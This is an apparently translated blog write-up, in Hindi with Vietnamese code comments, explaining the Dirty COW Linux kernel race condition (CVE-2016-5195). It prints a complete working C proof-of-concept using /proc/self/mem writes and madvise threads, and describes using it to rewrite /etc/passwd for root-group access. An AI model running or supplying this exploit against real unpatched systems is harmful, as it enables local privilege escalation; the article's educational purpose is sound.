
क्योंकि kernel root विशेषाधिकार के साथ चलता है, इसे privilege escalation भेद्यता के रूप में exploit किया जा सकता है। इसका मतलब है कि हमलावर निम्न-स्तरीय उपयोगकर्ता से Race condition का फायदा उठाकर root विशेषाधिकार प्राप्त कर सकता है।
जैसा कि मैंने अभी operating system theory विषय में पढ़ा है, Race condition तब होती है जब दो या अधिक प्रक्रियाएँ एक ही संसाधन तक पहुँचती हैं और उस पर संचालन करती हैं बिना उचित synchronization के। तब इन संचालनों के परिणाम गलत या अपेक्षा के अनुरूप नहीं हो सकते।
इसे आसानी से समझने के लिए एक सरल उदाहरण देखते हैं:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
यहाँ, भले ही हमारे पास 2 variables हैं, दोनों एक ही memory object को point करते हैं। यह operating system की एक व्यवस्था है, क्योंकि समान मानों के लिए दोगुनी memory घेरने की आवश्यकता नहीं है। OS तब तक इंतज़ार करेगा जब तक copy को संशोधित नहीं किया जाता; तभी यह दूसरे variable के लिए अलग memory आवंटित करेगा।
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
इस समय, OS निम्नलिखित कार्य करेगा:
Condition चरण 2 और चरण 4 के बीच होती है, जो memory mapping को धोखा देकर संशोधित सामग्री को नई आवंटित space के बजाय मूल memory space में लिखवा देती है। इससे हमें b के बजाय a से संबंधित memory, यानी मूल object, को संशोधित करना पड़ता है, भले ही हमारे पास a पर केवल read-only विशेषाधिकार हो।
अब मुख्य भाग आता है, तो exploit करने का विचार क्या है? जैसा कि हम जानते हैं, एक user के अधिकार /etc/passwd फ़ाइल में परिभाषित होते हैं और केवल root ही इस फ़ाइल को संशोधित कर सकता है। तो क्या हम केवल पढ़ने के अधिकार वाले user से /etc/passwd फ़ाइल की सामग्री बदलने के लिए Race condition का फायदा उठा सकते हैं?
उत्तर हाँ है, पहले हम एक सरल उदाहरण पर लागू exploit code का विश्लेषण करेंगे:

पहले, हम 644 permission वाली एक dirtycow फ़ाइल बनाते हैं (केवल root के पास write permission है)। "Hello" लिखने पर हमें Permission denied मिलता है।
तो attack target तैयार है, अब exploit code:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
यह exploit तीन threads से बना है: main thread, writeThread thread और madvise thread।
Main thread का कार्य हमारी फ़ाइल को memory में map करना है:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
बदले जाने वाले pattern की स्थिति खोजें:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
फिर हम दो threads, writeThread और madviseThread, शुरू करते हैं।
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
इस thread का काम h1n4m string को h4ck3r में बदलना है (या जो आप चाहें :> खतरनाक है, है ना??), लेकिन चूँकि map memory copy-on-write प्रकार की है, यह thread केवल map memory की copy पर सामग्री को संशोधित कर सकती है और फ़ाइल पर कोई बदलाव नहीं करती??
तो खतरा कहाँ है? फिर हम बचे हुए thread को देखेंगे।
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
यह thread केवल एक काम करता है: map memory की copy को हटा देना, जिससे pointer वापस मूल map memory या शुरुआती mapped memory की ओर point कर सके।
यदि ये दो threads क्रमिक रूप से चलें, यानी non-multithread, तो बदलाव हमेशा केवल map memory की copy को प्रभावित करेगा और हमारी विशेषाधिकार-युक्त फ़ाइल के लिए कोई खतरा नहीं होगा। लेकिन यदि इन दो threads को system एक साथ call करे, यानी multithread, तो क्या होगा? बिल्कुल सही, यही Race condition है। कभी-कभी system गलत समझकर pointer को मूल map memory पर point कर देगा और बिना write permission के root की फ़ाइल पर डेटा संशोधित कर देगा। लेकिन operating system हमेशा ऐसी गलती नहीं करता, इसलिए दोनों threads को infinite loop में चलाया जाता है; बस एक बार system गलती कर दे, तो सब कुछ हमारी योजना के अनुसार हो जाता है।
मुख्य समस्या पर वापस आते हैं, /etc/passwd फ़ाइल ऐसी फ़ाइल है जिसे केवल root ही संशोधित कर सकता है; हमें /etc/passwd फ़ाइल में lowuser के group को बदलने के लिए उपरोक्त ज्ञान का उपयोग करना है।
lower user होने पर हमारे पास dirtycow फ़ाइल पर write permission नहीं है।
Lowuser को root के साथ same group में डाल दिया गया है (1001->0000)इस विश्लेषण के माध्यम से मैंने आपको CVE-2016-5195 से परिचित कराया, जिसे "गंदी गाय" (Dirty Cow) कहा जाता है। group संशोधित करने के अलावा, हम system में एक नया user भी जोड़ सकते हैं, तरीका वही है। हालाँकि यह CVE बहुत पहले आया था, फिर भी आज भी कई सिस्टम पुराने kernel का उपयोग कर रहे हैं और प्रभावित हो रहे हैं। उम्मीद है कि इस लेख के माध्यम से आप CVE की सामान्य समझ और अपने सिस्टम की सुरक्षा के तरीके समझ पाएँगे। (kernel अपडेट करो!!!!!)
और मैं h1n4m हूँ। Peaceeeee.